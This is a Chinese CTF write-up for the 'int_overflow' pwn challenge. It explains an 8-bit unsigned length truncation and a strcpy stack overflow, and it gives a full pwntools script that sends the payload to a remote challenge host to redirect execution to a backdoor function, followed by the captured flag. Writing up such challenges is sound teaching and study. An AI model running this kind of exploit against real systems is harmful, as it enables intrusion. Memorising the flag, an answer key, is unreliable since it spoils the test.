收获

  • 原输入的栈无法溢出,通过 strcpy 复制操作进行溢出

  • 注意参数的类型,例如 unsigned __int8 v3v3 = strlen(s)v3 是一个 8 位 int 型 数据,即使 s 的长度为 0x104,v3 也只能为 0x04(1字节 只能存放 2位 十六进制数

  • 通过 payload.ljust(0x104, b'a') 可以直接往 payload 后面添加 b’a’ 一直填充至指定长度 0x104

  • ljust()l 是让 payload 左对齐,往右侧添加字符,一直将原字符串填充到指定长度,而不是填充多少个字符


【攻防世界】int_overflow


思路

查看文件信息:

攻防世界-int_overflow1.png

32 位 小端序,只开启了栈不可执行

尝试执行:

攻防世界-int_overflow2.png

在 IDA 中分析:

攻防世界-int_overflow3.png

跟进 login()

攻防世界-int_overflow4.png

有两个输入,查看数据 sbuf 在栈中的位置:

攻防世界-int_overflow5.png

攻防世界-int_overflow6.png

s 在栈中的长度为 0x28,而输入的 s 长度为 0x19buf 在栈中的长度为 0x200,而输入的 buf 长度为 0x199

因此无法通过输入来进行溢出操作

跟进函数 check_passwd(buf)

攻防世界-int_overflow7.png

首先控制了 v3 长度要在 4 ~ 8 之间,然后将 形参 s(其实就是 login() 中的 buf)中存放的内容复制到 dest 中:

攻防世界-int_overflow8.png

注意:这里的 v3 = strlen(s) 得到的并不是 形参s 的长度,因为 v3 的定义为 unsigned __int8 v3,即 v3 是一个无符号的 8 位 int 型数据,也就是 1 字节,只能存放两位十六进制数

即:当 buf 的长度为 261(0x105) 时,v3 == 0x05

在 IDA 左侧函数列表中,注意到一个后门函数:

攻防世界-int_overflow9.png

肯定是需要修改函数返回值转而执行这个 what_is_this() 函数

发现在函数 check_passwd(buf) 中进行 strcpy(dest, s) 的复制操作时,虽然之前输入时 buf 无法进行溢出操作,但是通过 strcpy() 复制,可以利用 bufdest 溢出,然后覆盖掉 dest 所在的栈中的返回值,这样就可以实现跳转了

但是想要执行复制操作,就必须先满足 v3 > 3u && v3 <= 8u 的条件,即 v3 可以取值的范围是 4~8,也就是 0x04~0x08
结合 v3 = strlen(s) 且输入的 buf 长度为 0x199
可以得出满足条件的 buf 的长度应该为:0x104~0x108

于是思路就很清晰了:

  1. 首先输入 "1" 选择登录
  2. 由于 login() 中的 s 没有溢出点,在长度为 0x28 以内随便输入即可
  3. 由于 login() 中的 buf 在原本的栈中无法溢出,但是 buf 的值会复制到 dest 中,dest 是可以溢出的。根据 dest 所在的栈,要覆盖返回值需要先填充 0x14 - 0x00 + 0x04 个垃圾数据,然后加上 what_is_this() 函数的地址,函数的地址可以通过 elf.symbols["what_is_this"] 获得
  4. 这样就保证了当 buf 的值复制到 dest 后,会转而执行后门函数 what_is_this()
  5. 但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108
  6. 因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间
  7. 通过 payload.ljust(0x104, b'a') 即可实现在 payload 右边添加 b'a' 一直将 payload 的长度填充至 0x104

脚本

from pwn import *

context(os='linux', arch='i386', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

elf = ELF("./int_overflow")
system_addr = elf.symbols["what_is_this"]


def main():
    if content == 1:
        io = process("./int_overflow")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 56322)  # 题目的远程端口

    payload = b'a' * (0x14 - 0x00 + 0x04) + p32(system_addr)  # 溢出dest,使其跳转至what_is_this函数
    payload = payload.ljust(0x104, b'a')  # 原payload左对齐,往payload右侧填充b'a',一直填充到payload的长度为0x104

    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil("Please input your username:\n")
    io.sendline("999")
    io.recvuntil("Please input your passwd:\n")
    io.sendline(payload)

    io.interactive()


main()

结果

cyberpeace{25686bc91ab84046b5a18aaa66041868}

攻防世界-int_overflow10.png